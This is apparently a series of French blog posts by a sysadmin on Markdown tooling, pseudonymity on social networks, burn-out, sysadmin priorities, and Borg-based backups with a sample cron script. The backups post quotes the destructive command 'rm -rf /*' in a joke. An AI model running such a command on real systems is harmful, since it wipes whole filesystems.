Le Markdown comme langage d’écriture universel ?

Introduction

Il y a quelques années, quand j'avais un peu de temps et que je contribuais modestement à Wikipédia pour quelques pages, j'avais envisagé de passer du temps à apprendre la syntaxe wiki, chose que je n'ai fau final pas vraiment faîte, au-delà des quelques éléments de bases : gras, italique, lien hypertexte, liste à puces... Avec mon autohébergement et la mise en place de mon propre wiki pour concerntrer et tracer un certain nombres d'informations utiles (principe d'un wiki), j'ai un peu dérouillé ma syntaxe wiki mais sans plus.

En ayant commencé à utiliser Gitlab (voir à ce sujet Lifehacking - Gitlab, outil idéal ?) pour la gestion des projets, dont les wikis lié aux services que je gère, j'ai commencé à passer plus de temps à faire du markdown (le langage d'écriture par défaut dans Gitlab), que j'avais déjà expérimenté au travers quelques fichiers Read.me publié sur des projets Git.

Devant le côté assez simple de Markdown, le fait qu'il puisse être utilisé pour mon outil de Wiki (Dokuwiki) via un plugin, je me suis posé de l'usage de Markdown comme langage universel : est-ce utile de passer prendre un peu de temps pour l'apprendre ? Telle est la question que je me suis posée et la réponse est tient en un mot : OUI. Ci-dessous le pourquoi et l'intérêt...

Le Markdown ?

Si je cite la définition de base du Markdown Markdown est un langage de balisage léger créé par John Gruber en 2004. Son but est d'offrir une syntaxe facile à lire et à écrire. Un document balisé par Markdown peut être lu en l'état sans donner l'impression d'avoir été balisé ou formaté par des instructions particulières. Un document balisé par Markdown peut être converti en HTML ou en autres formats.

On retrouve deux des caractéristiques que j'apprécie particulièrement : léger et facile, convertissable.

Quel éditeur ?

Il existe différentes éditeurs qui supportent Markdown, dans le cadre de l'industrialisation de nos projets au sein de mes équipes et pour avoir une cohésion des outils (un même outil utilisé par tous permet de pouvoir s'aider facilement les uns les autres), nous avons retenu Atom avec l'extension Markdown comme éditeur de fichier. Atom permet d'avoir un aperçu de son document au moment de la saisie, on retrouve ce bon vieux WYSIWYG (What You See Is What You Get) que je connais depuis mes débuts à faire des pages HTML il y a un peu plus de 15 ans de ça... Associé à un plugin Git pour commiter les fichiers de wiki que l'on édite, c'est un outil pratique et qui convient à nos besoins.

Un autre besoin

Nous faisons beaucoup de rédaction de livrable, nous avons un certain nombre de documents à régulièrement rédiger pour les clients. Nous avons des templates définies avec des styles dans LibreOffice, ce qui est une bonne chose. Mais comment passer à la version supérieure de l'industrialisation ? En éditant la documentation sous forme de fichiers Mardown dans un dossier du projet dans notre instance Gitlab (qui nous sert aussi pour sa partie Kanban, suivi des fichiers de configuration...). On peut ainsi facilement travailler si besoin à plusieurs sur un projet, reprendre le projet, corriger la documentation (nous avons toute la puissance de Git pour la gestion des conflits, la décentralisation...) ce qui est, plus pratique que le suivi des modifications d'un seul et même document LibreOffice édité, à plusieurs, à tour de rôle.

Il faut ensuite le convertir de la source Markdown vers un format LibreOffice. Il existe Pandoc, comme couteau suisse de la conversion, qui permet de prendre différentes sources dans différents formats pour les formater convertir dans différents formats de sortie : Latex vers HTML ou Opendocument (format LibreOffice) par exemple, pour ne citer que deux parmi des dizaines de format. Pour tout savoir, voir le site de Pandoc. Pandoc accepte parmi tous ses formats d'entrée le format Markdown, mais le fichier LibreOffice sortit est un fichier de base.

GreenMan, pour ne pas le citer et avec qui je travaille, a pris sur lui le défi de construire une moulinette en shell bash, pour permettre une transformation d'une documentation écrite en Markdown vers un document formaté sur base de template de l'entreprise et ça marche. Il reste quelques ajustements à faire, nous devons relire et corriger / ajuster la mise en forme du document final pour quelques coquilles, mais le plus gros du travail est fait. Nous avons bien un outil qui nous permet de passer dur Markdown vers LibreOffice, selon un template de document prédéfini. Sur ce sujet, je reviendrai plus tard avec un article dédié co-rédigé avec GreenMan.

Mais c'est outil, sa simplicité d'usage (pour un administrateur système de base qui s'est lancé une commande shell) renforce cette idée d'appropriation du Markdown.

Markdown pour les mails ?

Ayant écrit un compte-rendu dans Gitlab et donc en syntaxe Markdown, j'ai fait un copier coller dans le corps du mail et j'ai eu à remettre en forme... Perte de temps... J'ai donc cherché rapidement et effectivement il existe une extension pour Thunderbird pour la prise en charge du Markdown. Et il existe bien une Extension pour Thunderbird qui correspond à mon besoin : Markdown Here.
Écrivez votre courriel avec Markdown, puis rendez-le attrayant.Markdown Here permet d'écrire un courriel avec Markdown et de le convertir (afin qu'il soit attrayant !) avant de l'envoyer. C'est parfait pour tous ceux qui n'aiment pas travailler avec des boutons de formatage pendant qu'ils écrivent un courriel. C'est particulièrement utile pour les programmeurs qui écrivent des courriels qui incluent du code — la coloration syntaxique est également supportée. Et pour les mathématiciens parmi nous : Markdown Here convertira tout aussi bien les formules TeX.
- http://markdown-here.com (en anglais)
- https://github.com/adam-p/markdown-here (en anglais)

Conclusion

Vu que je m'investis de plus en plus dans l'apprentissage du Markdown, il faudra également que je regarde quel outil permettrait de faire des supports de conférence en se basant sur ce langage d'écriture (Je sais que ça existe, il faudra que je vois), ce qui permettrait encore de renforcer l'intérêt et l'investissement sur ce langage.

Un canal de communication privé ?

Lorsque que je donne ma conférence du pseudonymat au pseudonyme on me pose la question suivante « est ce que j'ai un autre pseudonyme décorrélé – non lié à mon pseudonyme actuel et non lié à mon identité civile…. » Je dois avouer que pour différentes raisons, qu'il faudra que je détaille ultérieurement dans un futur billet, j'y pense de plus en plus. Toutefois, vu l'ampleur du travail que cela serait, car cela est long et compliqué de recréer tout un tissu social en repartant de zéro (pour faire plus simple) et afin d'évaluer les contraintes que cela aurait et commencer par une première expérimentation moins contraignante, je pense que je vais, un peu, changer mon usage des réseaux sociaux.

En réseau social actuellement, j'en utilise deux : Twitter et Mastodon. J'ai longtemps utilisé Diaspora, laissé de côté (abandonné devrais-je dire) par manque de temps au profit de Mastodon. Mais mon fil Mastodon actuel – en ce qui concerne mes publications personnelles – reste encore trop un simple copier coller de mon fil Twitter.

Pour avoir deux canaux de communication sur les réseaux sociaux distincts aux usages et buts différents, et gérer les contraintes qui apparaissent peu à peu avec mon passage du pseudonymat au pseudonyme, j'expérimente donc les usages suivants :
- Twitter pour la veille, le « CV » et la personne publique.
- Mastodon, désormais, en accès restreint (pour choisir les personnes qui me suivent et en ne rendant pas public mes messages), pour garder une intimité « relative ».

Le blog continue, mais aura probablement une orientation avec des réflexions et du partage généraliste et générique, les états d âmes seront alors réservés à Mastodon.
Ce que je raconte n'engage que moi. Ne concerne que moi. Dans le cadre de mes activités dans le cadre professionnel, j'ai un droit de réserve à appliquer. Mais en dehors ? En tant que personnage publique ? Je ne suis nullement le porte-parole de quiconque que ce soit les associations, collectifs ou causes dans lesquelles je m'implique ou je crois tout comme mon pseudonyme, par principe, ne doit pas être lié à l'entreprise qui m'emploie. Mais comme mon pseudonyme est relié indirectement à mon activité professionnelle, je ne pourrais jamais empêcher des personnes de faire un lien, volontaire ou non, entre mes propos personnels et la personne que je suis professionnellement. Certes la frontière est assez mince, mais elle existe. De plus, Internet n'oublie pas. On change de vie… Si je sais où je serai dans quelques mois, je ne sais pas où je serai dans des années…

Ce sont là des éléments de réflexions qui seront à amener à évoluer et s'enrichir avec le temps. Ce billet apporte de l'eau au moulin de la réflexion « faut-il ou non faire le choix de passer du pseudonymat au pseudonyme » à travers un nouveau partage - retour d expérience personnel sur ce sujet. Je n'ai pas et il n'y a pas de réponse, chaque cas et situation est particulière. Et les situations ne sont pas immuables et évoluent avec le temps.

La pyramide de Maslow du sysadmin

Un billet que je dédicace aux amis Skhaen et Cabusar suite à nos discussions à PSES2018.

Mon billet de blog Silence sur ce blog en juin résume assez bien l'état dans lequel je me suis retrouvé et vu les soucis que j'ai rencontrés avec le legacy ces derniers temps j'en ai été à me poser la question de la pyramide de Maslow du Sysadmin. Pour rappel la pyramide de Maslow plus communément appelée pyramide des besoins, hiérarchise le fait que si des besoins essentiels sont à remplir (Besoins physiologiques : faim, soif, sexualité, respiration, sommeil, élimination) avant les besoins de sécurité (environnement stable et prévisible, sans anxiété ni crise), qui passent avant les besoins d'appartenance et d'amour (affection des autres) pour enfin arriver au Besoin d'accomplissement de soi. Dit de façon vulgarisée et simpliste, quand on n'a faim et pas de toit sur la tête, difficile de chercher de l'accomplissement personnel...

Au-delà des critiques du modèle, des biais etc. et de toute l'analyse scientifique du modèle, dans le présent article, je présenterai donc une sorte de pyramide inversée, en commençant par le bas de la pyramide en allant vers le haut, du plus urgent au moins urgent, dans le cadre d'un contexte particulier qu'est celui de l'administrateur système. Pour rappel, je suis un administrateur système assez jeune, je ne commence dans le monde professionnel pour cette partie que depuis quelques mois (même si je suis sysadmin à mes heures perdues par loisir depuis de nombreuses années) et cette pyramide reflète mon expérience personnelle (et est également l'occasion pour moi de faire le point sur moi-même, comme souvent avec les billets de ce blog).

Préservation de l'humain

Toute en bas de la pyramide, je place désormais la préservation de l'humain. Vu l'état dans lequel je me suis retrouvé et je suis actuellement, je pense que c'est là l'essentiel. Dans ma pyramide de Maslow personnelle, j'ai placé trop haut et trop loin le besoin d'accomplissement personnel, menaçant la stabilité de base, en réduisant mon sommeil de façon involontaire (insomnie pendant lesquelles on prend des notes, réfléchit à sa todo, avance son travail de sa journée), en réduisant mon temps de repos… Bref, désormais en bas de cette pyramide je place ma propre préservation. Du fait de mon implication dans un métier passion, implication qui continue encore aujourd'hui, ce ne sera pas facile, mais tant que cette base n'est pas solide, les autres étages de la pyramide n'ont aucun sens et aucune stabilité.

La documentation

Sans documentation, on aura beau avoir le meilleur Système d'information possible, avec des systèmes mis à jour, sauvegarder de façon automatique, avec de l'intégration continue, l'ajout de nouveaux serveurs virtualisés intégrés dans la supervision en quelques minutes, ça ne sert à rien. Car dès lors qu'il faut faire évoluer quelque chose, ou qu'il y a du sable dans les rouages, si quelque chose ne se passe pas bien, sans documentation, tout cet outillage parfaitement rôdé ne sert plus à rien, vu que l'on ne sait pas comment s'en servir...

La documentation, c'est donc la base. Et non ce n'est pas une perte de temps. Après, attention à documenter ce qui est essentiel, à préciser les prérequis (on ne va pas réexpliquer toutes les bases des commandes shell ou le fonctionnement Linux à chaque fois), il faut juste expliquer les choix, les informations pertinentes et nécessaires pour pouvoir faire le travail du quotidien et la gestion des incidents déjà rencontrés (on ne peut bien évidemment pas documenter des incidents jamais rencontrés, mais on peut en anticiper certains ou avoir la documentation nécessaire pour réduire leurs impacts).

La documentation, qui est une forme de traçabilité et de reporting de l'avancement, permet également de pouvoir à tout moment, d'arrêter pour reprendre plus tard, d'être remplacé, de déléguer…

La gestion des sauvegardes

Une fois qu'on se préserve soit et qu'on a documenté, il y a le sujet, vaste, des sauvegardes. Idéalement selon la règle des 3-2-1, en ayant défini ce que l'on doit sauvegarder ? et en ayant vérifié que ses sauvegardes sont bien utilisables (Sauvegarde et restauration).

La gestion des mises à jour

Si on sait et restaurer ses sauvegardes, on peut alors passer à la gestion des mises à jour en ayant un parc le plus à jour possible. Ce qui n'est pas tout le temps possible, il faut composer avec le legacy et toutes ces applications qui ne supportent pas des versions supérieures de PHP (par exemple)... Mais on fera le maximum pour faire les mises à jour et ce de façon régulière, afin d'éviter les failles de sécurité et d'avoir des applications patchées (évitant ainsi de subir des bugs corrigés via les mises à jour).

La sécurité

On a des systèmes à jour, mais quand ils ne sont pas maintenus et se font compromettre, que l'on sait restaurer (vu que l'on a des sauvegardes), on peut alors de poser la question de la sécurisation. Là encore, vaste chantier qui prend du temps et même si les bonnes pratiques et les bases d'hygiène numérique (dont font partie les sauvegardes et les mises à jour) sont appliquées, ça prend du temps. Et d'autant plus que l'on veut une sécurité renforcée et forte... On commencera d'abord par une gestion des mots de passe simple et efficace, puis on renforce la sécurité des connexions… Plein de choses à faire...

La supervision

La supervision, quelque-soit l'outil que l'on utilisera, permettra d'alerter et de surveiller si les sauvegardes se sont bien déroulées, si les serveurs sont bien à jour, si les services fournis par ces derniers sont bien délivrés… La supervision permet de savoir quand quelque chose ne va pas. Et quand ça ne va pas, vaut mieux avoir des sauvegardes, un système à jour, sécurisé, ce qui évite justement une partie des soucis qui font que ça ne va pas (restera les dénis de service par surcharge du serveur, les espaces disques saturés… suffisamment de choses qui permettent de ne pas s'ennuyer...)

L'automatisation

Enfin, quand on a un parc sauvegardé, plus à moins à jour, on peut alors se pencher sur l'automatisation. Beaucoup de sysadmin diront qu'un bon sysadmin est un sysadmin fainéant et que cette automatisation devrait venir beaucoup plus haut dans la pyramide, je ne pense pas. On saupoudrera un peu d'automatisation tout au long des différentes étapes précédentes, on anticipera l'automatisation à venir, ce qui permettra une industrialisation le moment venu : les sauvegardes, les mises à jour, la supervision, le renforcement de la sécurité, tout cela sera intégré dans l'outil de déploiement et de gestion du parc.

Traçabilité et suivi des actions

La traçabilité et le suivi des actions, l'historisation des connexions, l'analyses des logs (qui pourraient entrer en partie dans la supervision) viennent pour moi à ce niveau. On a un système qui ronronne, qui est stable, où tout se passe bien, on peut donc alors s'attaquer à la traçabilité et au suivi. Là encore, en cas d'incident, cela pourra être utile pour comprendre le pourquoi, pour corriger, une fois que l'on aura restauré le service en fonctionnement nominal (en repartant sur une sauvegarde ou sur la création d'une nouvelle machine : facile vu que ce sera automatisé...)

En dehors de la pyramide

La pyramide est mono-dimensionnel, avec une progression vers le haut et dedans, il y a des choses qui sont transverses. J'évoquais l'automatisation qui doit être anticipée et ce dès la mise en place des sauvegardes, il y a également en chantier transverse le fait de pouvoir et devoir organiser les priorités à chaque niveau : on commence par sauvegarder ce qui est le plus critique, à mettre à jour et à sécuriser les serveurs les plus critiques, pour ensuite les superviser...

Les aller-retour au sein de la pyramide seront nombreux et tous les étages sont importants.

Silence sur ce blog en juin

En novembre dernier, je donnais pour une première fois ma conférence Du pseudonymat au pseudonyme, où j'expliquais ma démarche personnelle faite il y a deux ans maintenant, revenant sur plus de 20 ans de pseudonymat. J'étais alors assez content, concluant sur le fait que j'avais pas encore de réponse à savoir si cela avait été le bon choix et n'était pas en mesure d'en saisir toutes les conséquences, car c'était encore trop frais, trop récent.

Burn-out

Fin mars dernier, je publiais deux billets d'importance : Le métier passion et Tout intellectualiser qui présentait l'état dans lequel j'étais arrivé. Je ne pensais pas à ce moment là, que trois mois plus tard, je serais encore sous les conséquences de ce que j'abordais dans ces billets... Peu de temps après je redonnais la même conférence actualisée, en terminant sur ce que j'aborde dans les billets cités, à savoir le fait que je m'étais retrouvé de moi-même coincé dans le métier passion... conduisant à un premier signe de burn-out, sous la forme d'une journée difficile durant laquelle m'étais effondré en pleurs devant mon poste de travail, suite à un incident de production. Je constatais que j'avais eu beau avoir anticipé des tas de choses, je ne pouvais avoir le contrôle sur tout.

Cette alarme m'avait fait arrêté le lifehacking extrême, mais j'ai continué à travaillé de trop nombreuses heures, 1/3 de plus que le temps réglementaire, cumulant fatigue nerveuse et physique. J'ai pourtant continuer à passer des heures en coulisse le week-end à travailler, sans qu'on me le demande, juste parce que j'en ai envie... Il y a beaucoup de choses à faire, je ne comptais pas mes heures, personne ne m'arrêtais car ne voyait ce que je faisais en coulisse... La pression personnelle que je me suis mis avait toujours le dessus...

J'ai ralenti un peu en arrêtant peu à peu et en me déconnectant le week-end - moins évident quand on est d'astreinte - car je voyais que je ne tenais plus le rythme. Et j'en suis arrivé, début juin à avoir, chaque semaine, une journée durant laquelle j'avais une phase de mal-être tel que je ne peux désormais plus renier, que oui, je suis en burn-out. Et une conséquence est que depuis début juin je n'ai rien publié sur ce blog que je n'avais écrit avant, je n'ai pas fête les 14 ou 15 ans du blog, je ne sais plus la date...
J'avais depuis longtemps posé des jours pour aller au festival Numérique Passage en Seine, et jusqu'au début de la semaine précédent l'événement, j'hésitais à annuler mes jours de congés pour avancer mon travail, tant j'ai de choses que je voudrais faire... J'ai tenu bon, je suis allé à Passage en Seine, j'ai refait ma conférence Du pseudonymat au pseudonyme en parlant de ce mal-être que je vis.

Du Bore-out au Burn-out

Sans refaire ma conférence et ré-aborder ce que je disais dans mes deux billets de blogs Le métier passion et Tout intellectualiser , celles et ceux qui me suivent depuis quelques années et qui ont suivi mon parcours m'ont vu passé d'une situation de mission placard, avec un bore-out, vers un métier passion et un épanouissement.

Dans les coulisses, il y a eu la reconnaissance de la direction quand à mon travail et mon investissement, en me donnant plus de responsabilités... Mon CV Linkedin parle pour moi. Je me suis alors mis une pression personnelle et un devoir, lié à un sentiment d'être redevable tel que j'en suis arrivé dans une situation où si je devais donner un échelle de 0 à 10, je dirai que 3 correspond à ce que l'on attend réellement de moi quand à mes responsabilités et mon poste, 6 ce que je pense que l'on attend de moi et que j'essaie de donner, 10 ce que je vise pour réussir à améliorer la situation rapidement. Améliorer la situation rapidement... Comme je le dis dans mon billet Devenir SysAdmin d'une PME - Gestion du legacy- Billet n°1 et les autres de la même série, j'ai hérité d'un service qui est ce qu'il est. Et j'ai passé des heures et des heures, par plaisir d'apprendre, par plaisir d'autodidacte et de comprendre, par crainte de ne pas avoir la maîtrise et le contrôle, à travailler encore et encore... pour atteindre le niveau 10. Et quand quelque chose ne marche pas, fatigue moral et physique cumulé aidant, je craque...

Passage en Seine

Passage en Seine, c'est un événement auquel je vais chaque année, depuis quasiment les débuts. J'ai beaucoup appris de mes pairs en suivant leurs conférences, blogs, tutoriaux etc. Avec les années, j'ai appris à connaître les personnes qui viennent, via nos rencontres dans le monde non numérique et nos échanges en ligne.

Depuis longtemps j'avais posé des jours pour aller à Passage en Seine. La semaine précédente je me posais encore la question d'annuler ces congés... Cela montre à quel point je n'étais pas bien... J'ai tenu bon, j'ai maintenu mes jours et j'y suis allé. J'ai rajouté une journée suivant le week-end pour pouvoir souffler un peu et remettre de Passage en Seine. Et alors ? Je vous renvoie vers mes messages sur les réseaux sociaux tagués PSES2018, ils témoignent de l'importance qu'à eu l'événement pour moi. Passage en Seine est pour moi : un moment de retrouvaille avec des personnes que j'ai appris à connaître avec les années, des amitiés d'Internet, des personnes que j'apprécie, qui partagent leurs savoirs... Ma famille des Internet, comme j'aime à les appeler.

Il y a eu beaucoup de moments d'émotions, j'étais à vif, à fleur de peau et j'ai témoigné à quelques-un.e.s d'entre vous des belles choses, je vous ai vu la larme au coin de l'œil, tout comme moi. Mais c'était important pour moi de vous dire ce que je vous ai dit.

Rassurer

Je voudrais rassurer les lecteurs et lectrices que je n'ai pu voir à Passage en Seine. Je me connais bien, je me psychanalyse depuis l'adolescence (je n'ai jamais consulté un professionnel) et j'en suis arrivé à la conclusion, que, entre-autre (car je suis plein de choses comme tout le monde), je suis cyclothymique. Les phases d'euphorie, de joie, cèdent parfois place à des phases de dépression, tel était le cas dans la double personnalité et dualité Genma - Jérôme que j'évoque dans ma conférence. Depuis que j'ai rejoins et fusionner Genma et Jérôme, c'est moins marqué, plus nuancé, et plus dur de voir le problème. Je suis en mode Genma dopé par le travail passion et je me suis fait piégé.

Je veux rassurer car je n'ai jamais porté atteinte à mon intégrité physique, je ne me blesse pas, mon corps me force à manger, à dormir, je ne prends pas de médicament ou autre donc je ne risque pas grand chose. Je suis peut être dans le déni, mais je pense que je peux gérer ça.

Passage en Seine a été une phase de pause, les longs moments de partages, de discussion, de soutien, des uns et des autres, les moments de rigoles, de partage.... Tout ça m'a fait du bien. J'ai appris que c'est partout pareil, que beaucoup des personnes auxquelles je tiens ont vécues ce que je vis, et leurs conseils m'ont aidés et m'aideront.

Conclusion

J'ai pris quelques jours pour souffler, mais je ne peux pas, je ne veux pas prendre deux semaines ou plus d'arrêt maladie, je me sens fors. Je sais que j'ai trois semaines de vacances dans un mois, et ce sera le moment pour reprendre du temps pour moi, de souffler, de ralentir le rythme, de me remettre en question et de comprendre enfin que non je ne peux pas tout régler d'un seul coup, que reprendre et améliorer le S.I. d'une entreprise ça ne se fait pas d'un claquement de doigt mais en plusieurs mois...

Devenir SysAdmin d’une PME – Les sauvegardes- Billet n°4

Ce billet fait partie de la série :
- Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0
- Devenir SysAdmin d'une PME - Gestion du legacy- Billet n°1
- Devenir SysAdmin d'une PME - Mineur de bitcoin- Billet n°2
- Devenir SysAdmin d'une PME - Accepter de ne pas avoir le contrôle sur tout- Billet n°3

Introduction

Les sauvegardes... Ah les sauvegardes... Depuis que j'ai eu mon premier ordinateur et que j'ai perdu des données, j'ai appris très rapidement à faire des sauvegardes. Car il y a deux types d'administrateurs systèmes "celui qui a déjà fait un rm -rf /* et celui qui le fera".

J'ai écrit quelques billets au cours des années sur ce sujet, pour aider à savoir quoi sauvegarder etc. je vous mets la liste des principaux billets ici :
- A.I.2 - Qu'est ce que je dois sauvegarder ?
- Sauvegarde la règle des 3-2-1
- L'importance des sauvegardes...
- Sauvegarde et restauration

Dans ce billet, je voudrais parler de quelques trucs sympa sur les sauvegardes.

Borg pour la sauvegarde des fichiers

Nombreux sont les outils pour les sauvegardes de fichers, des scripts maisons à base de rsync en passant par des outils plus évolués comme Duplicty, Rdiffbackup... Dans un précédent billet, j'évoquais Borg comme outil de sauvegarde. Avec les semaines, je reste persuader et convaincu que Borg est l'outil idéal et permet de faire, d'une façon simple, des sauvegardes des fichiers (on exclue le cas des bases de données qui sera traiter dans un billet ultérieur). Et je ne suis pas le seul à le dire. Cet article Sauvegarder ses machines avec Borg et Backupninja présente par exemple les avantages de Borg Contrairement à rdiff-backup qui a un algorithme basé sur rsync et fonctionne par incrémentation de version en version (ce qui interdit notamment de supprimer une version intermédiaire), BorgBackup utilise une technique de déduplication de morceaux (chunks). Au lieu de travailler par fichiers, il concatène (et compresse) tout ce qu'il y a à sauvegarder, pour le stocker par morceaux de 50Mo. Sans rentrer dans les détails, les intérêts sont multiples...

Le but de cette partie n'est pas de faire un tutoriel sur Borg, mais de parler de mon retour d'expérience sur le sujet en quelques mots. Je l'utilise au quotidien pour mes sauvegardes de mon poste professionnel mais également pour différents serveurs. C'est rapide, simple et efficace, pour gérer des sauvegardes de plusieurs gigas en sauvegarde chaque jour (avec peu de fichiers modifiés), ça prends quelques dizaines de secondes. Pour le cas des serveurs, j'ai mis en place un script shell on ne peut plus basique, qui fait appel à Borg. Un script du type de celui-ci est placé en tâche cron lancé chaque nuit. Si besoin, l'avantage de Borg est que l'on peut même faire une tâche cron qui se lance toutes les heures pour avoir une sauvegarde des fichiers toutes les heures. Ca ne prendra pas beaucoup de place et on aura toutes les sauvegardes dont on pourrait avoir besoin...

# on se place dans le répertoire ou l'on veut sauvegarder, qui est un montage d'un espace de stockage dédié partagé par SSH, monté en SSHFS
cd /Backup
# on lance la sauvegarde par borg qui s'effectue par un incrémental
borg create -v --stats ./::`date +%Y-%m-%d-%H:%m:%S` /le_dossier_a_sauvegarder --show-rc -v >> /tmp/mailreport.txt 2>&1

# Purge des anciennes sauvegardes, on garde sur 7 jours, 1 par semaine pendant 4 semaine, 1 par an
borg prune -v --list --keep-daily=7 --keep-weekly=4 --keep-monthly=-12 .

# Pur avoir la liste des sauvegardes dans le mail de rapport de la sauvegarde
echo -e "Liste des Sauvegardes\n" >> /tmp/mailreport.txt
borg list . >> /tmp/mailreport.txt

# envoie du rapport par courriel
sendemail -f expediteur@domaine.com -u "Sauvegarde du serveur XXXX - Daily Report" -t destinataire@domaine.com -s smtp.domaine.com -o message-file=/tmp/mailreport.txt

Pour répondre à la règle des 3, 2, 1, il faut donc avoir une copie externalisée qui est une copie / réplication de l'espace de stockage qui reçoit toutes les sauvegardes. A voir ce que l'on met en place : disque répliqué à l'identique, service de stockage haute-disponibilité...

Sauvegarde de la configuration

Pour l'instant, ce que je fais, c'est un export via Scp de tout /etc des différents serveurs avec la remontée des fichiers de configuration dans un dossier nommé selon le serveur dans un projet dédié dans un Gitlab. Ca se scripte assez bien pour avoir le scp, un git commit... Je fais au plus facile pour l'instant mais je pense. Pourquoi pas Borg ? Car git permet d'avoir l'historique et de comparer facilement les fichiers là où Borg permet de conserver l'ensemble d'une arborescence à un instant t, une sorte de snapshot, mais il faudrait montrer plusieurs sauvegardes pour faire les comparaisons fichier à fichier..

Je réfléchis à la mise en place d'un outil comme Etckeeper pour avoir une autre automatisation, il faut encore que j'étudie ça.
etckeeper est un système conçu pour suivre la configuration d'une machine (répertoire /etc, d'où le nom) à l'aide d'un gestionnaire de versions(par exemple Git).
Deux tutoriaux sur le sujet :
- Etckeeper sur le site de l'association Grenode
- Etckeeper sur le blog Syloe.com

Sauvegarde des bases de données

Du classique, un script, une tâche cron pour faire un export Dump sur un espace de stockage... Je pense que je développerai ce sujet dans un billet une prochaine fois.

Une sauvegarde complète (un snapshot par exemple pour une VM) et des sauvegardes régulières des éléments changeants

Snapshots

Dans mon billet Devenir SysAdmin d'une PME - Gestion du legacy- Billet n°1, je parlais de machines virtuelles sur des hyperviseurs. Je gère ces machines virtuelles comme des serveurs et j'applique donc au fur et à mesure l'homogénéisation de la sauvegarde en mettant Borg en place partout.
Il est important de pouvoir remonter rapidement un service et avec une V.M., c'est assez simple. Un snapshot régulier (je travaille à scripter l'automatisation et la rotation de ces snapshots sur Xen, je ferai un billet sur le sujet), le delta de la VM correspondant à ce qui est sauvegarder de façon journalière. Je n'ai donc qu'à restaurer la VM, à réappliquer les mises à jours de l'OS, éventuellement restaurer les données et les fichiers de configuration et tout est bon.

A noter que je ne considère pas le snapshot comme une sauvegarde mais comme un complément de sauvegarde. Le snapshot ne suffit pas comme la sauvegarde ne suffit pas. Si il faut réinstaller tout une machine avec tous les services... Quoiqu'avec le tournant qu'apporte le Devops et la gestion en mode PAAS, la création de VM à la demande et l'industrialisation à venir... Bref, encore plein d'autres sujets à aborder dans les prochaines semaines et prochains mois... A suivre.

Devenir SysAdmin d’une PME – Accepter de ne pas avoir le contrôle sur tout- Billet n°3

Ce billet fait partie de la série :
- Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0
- Devenir SysAdmin d'une PME - Gestion du legacy- Billet n°1
- Devenir SysAdmin d'une PME - Mineur de bitcoin- Billet n°2

Nouveau billet de la série Devenir SysAdmin d'une PME avec cette fois ci un billet de réflexion autour du sujet du contrôle et de la maîtrise et plus exactement sur le fait d'accepter de ne pas avoir le contrôle sur tout.

A la mi-mars, j'écrivais deux billets assez intimistes à savoir Le métier passion et Tout intellectualiser, dans lesquels j'évoquais le travers dans lequel j'étais tombé de part avoir (enfin) un métier que j'aime et la volonté de vouloir toujours plus de contrôle...

Dans les semaines qui ont suivies, j'ai pris du recul, réfléchit et j'apprends peu à peu à accepter qu'on ne peut pas avoir le contrôle sur tout. Comme indiqué avec le début de la série de billet Devenir SysAdmin d'une PME, je suis en pleine restructuration de l'infrastructure en commençant par l'appropriation de cette dernière, la gestion de la documentation pour me permettre l'appropriation des différentes strates et couches accumulées au cours des années par différents administrateurs systèmes. Avant de pouvoir passer à une phase d'homogénéisation permettant alors une industrialisation de le gestion de tout le S.I., il y a la compréhension de ce dernier, la gestion du legacy, la gestion des incidents de sécuritépar méconnaissance de l'existence de ce site Drupal planqué dans un coin)...

Accepter de ne pas avoir le contrôle sur tout, c'est accepter que l'on a encore beaucoup de travail à faire avec la gestion du legacy. Et qu'un incident interviendra forcément sur quelque chose que l'on a pas encore eu le temps de documenter ou de revoir la documentation si celle-ci est déjà existante. Il y aura forcément, dans un coin, le serveur qui marche et que tout le monde a oublié avec un mot de passe que personne ne connaît plus... Jusque ce qu'il y ait un soucis (un disque qui ne répond plus ou autre) et que soudain, cela devienne une priorité.

Idem pour les sauvegardes. Je dois faire un billet dédié sur la mise en place des sauvegardes avec Borg (que je ne peux que conseiller et tous les retours que j'en ai des personnes qui ont suivi ce conseil me conforte dans le fait d'avoir moi-même suivi le conseil d'utiliser Borg. Les sysadmin, une grande famille qui partage les bonnes astuces). Je pars du principe que si je ne sais pas, ça n'existe pas.

Il y a très certainement des sauvegardes automatisées et tout marche. Mais comme dans tout legacy, il y a différents outils, mis en place au fur et à mesure. Je pars du principe que si je ne sais pas (encore) comment ça marche et surtout si je n'ai pas testé la restauration de la sauvegarde, ça n'existe pas. C'est très direct. Mais au moins ça donne un bon aperçu de la réalité : le moment où j'aurai besoin de cette sauvegarde, ce sera forcément dans un moment d'urgence. Si je ne sais pas comment ça marche et comment restaurer, cela revient à ne pas avoir de sauvegarde d'une certaine façon. Accepter de ne pas avoir le contrôle sur tout, c'est accepter que pour l'instant, tout n'est pas industrialiser au niveau des sauvegardes, que tout n'est pas sous contrôle...

De même, dans le cadre de la sécurité et de la gestion des PC des collaborateurs. Beaucoup d'entreprise font le choix de verrouiller au maximum les PC en limitant les droits, les applications installées, en mettant des proxys... Une autre façon de faire et de sécuriser le S.I. et d'accepter le BYOD et de responsabiliser les collaborateur.trice.s. L'entreprise dans laquelle je suis, je l'ai choisi sur de nombreux critères dont le fait que l'on soit Administrateur de sa machine. Le fait que l'on soit sous un O.S. GNU/Linux (distribution de son choix) limite grandement les risques de sécurité classique liés aux postes sous Windows (virus, spyware...) tout comme le fait d'avoir des colloborateur.trice.s geek, utilisateur.trice.s avancé.e.s ayant par conséquence des notions plus élevés que la moyenne des bonnes pratiques de l'hygiène numérique. Un exemple est la facilité que j'ai à imposer l'usage de Keepass vu que beaucoup l'utilisent déjà par défaut.

Toutefois, je sais bien qu'un tas de fichiers sont créés sur lei postes utilisateurs... Et avec la mise en application du RGPD, il y a eu des nouvelles sessions de formation et de sensibilisation de faite et des sessions à faire et refaire, aux nouveaux arrivants, en rappel... De même, trop nombreuses restent encore les personnes qui ignorent que Firefox stocke les données du profil en clair sur le disque, et que l'OS a beau avoir un mot de passe, l'intégralité du contenu du disque est accessible via un live usb. Dans ce cas, seule solution : le chiffrement du poste. Là, encore, accepte-t-on de ne pas avoir la phrase de passe ?

Autre cas, la gestion des tickets, des demandes etc. Là encore, il faut accepter de déléguer, en donnant des consignes strictes sur la qualité de la documentation mise en place, sur l'enrichissement et le maintient de cette dernière. On ne peut pas tout faire et il faut donc accepter de ne pas avoir le contrôle sur tout. Mais ce n'est pas une raison pour que l'on ait le contrôle sur rien ;)

Lifehacking et todo liste papier

